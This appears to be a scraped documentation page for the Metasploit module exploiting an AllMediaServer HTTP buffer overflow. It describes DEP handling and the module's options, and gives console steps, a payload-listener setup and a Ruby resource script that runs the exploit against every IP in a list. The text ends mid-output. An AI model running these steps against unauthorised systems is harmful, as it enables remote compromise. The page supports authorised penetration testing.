The vulnerability is caused due to a boundary error within the handling of HTTP request. While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't reliable across virtual (VMWare, VirtualBox) and physical environments. Because of this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default DEP is OptIn and AllMediaServer won't run with DEP.References: OSVDB (83889) OptionsThis is a complete list of options available in the windows/misc/allmediaserver_bof exploit:msf6 exploit(windows/misc/allmediaserver_bof) > show optionsModule options (exploit/windows/misc/allmediaserver_bof): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:' RPORT 888 yes The target port

The vulnerability is caused due to a boundary error within the handling of HTTP request. While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't reliable across virtual (VMWare, VirtualBox) and physical environments. Because of this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default DEP is OptIn and AllMediaServer won't run with DEP.Module Ranking and TraitsModule Ranking:normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.Basic UsageUsing allmediaserver_bof against a single hostNormally, you can use exploit/windows/misc/allmediaserver_bof this way:msf > use exploit/windows/misc/allmediaserver_bofmsf exploit(allmediaserver_bof) > show targets ... a list of targets ...msf exploit(allmediaserver_bof) > set TARGET target-idmsf exploit(allmediaserver_bof) > show options ... show and set options ...msf exploit(allmediaserver_bof) > exploitUsing allmediaserver_bof against multiple hostsBut it looks like this is a remote exploit module, which means you can also engage multiple hosts.First, create a list of IPs you wish to exploit with this module. One IP per line.Second, set up a background payload listener. This payload should be the same as the one yourallmediaserver_bof will be using:Do: use exploit/multi/handlerDo: set PAYLOAD [payload]Set other options required by the payloadDo: set EXITONSESSION falseDo: run -jAt this point, you should have a payload listening.Next, create the following script. Notice you will probably need to modify the ip_list path, andpayload options accordingly:## Modify the path if necessary#ip_list = '/tmp/ip_list.txt'File.open(ip_list, 'rb').each_line do |ip| print_status("Trying against #{ip}") run_single("use exploit/windows/misc/allmediaserver_bof") run_single("set RHOST #{ip}") run_single("set DisablePayloadHandler true") # # Set a payload that's the same as the handler. # You might also need to add more run_single commands to configure other # payload options. # run_single("set PAYLOAD [payload name]") run_single("run")endNext, run the resource script in the console:msf > resource [path-to-resource-script]And finally, you should see that the exploit is trying against those hosts similar to the followingMS08-067 example:msf > resource /tmp/exploit_hosts.rc[*] Processing /tmp/exploit_hosts.rc for ERB directives.[*]
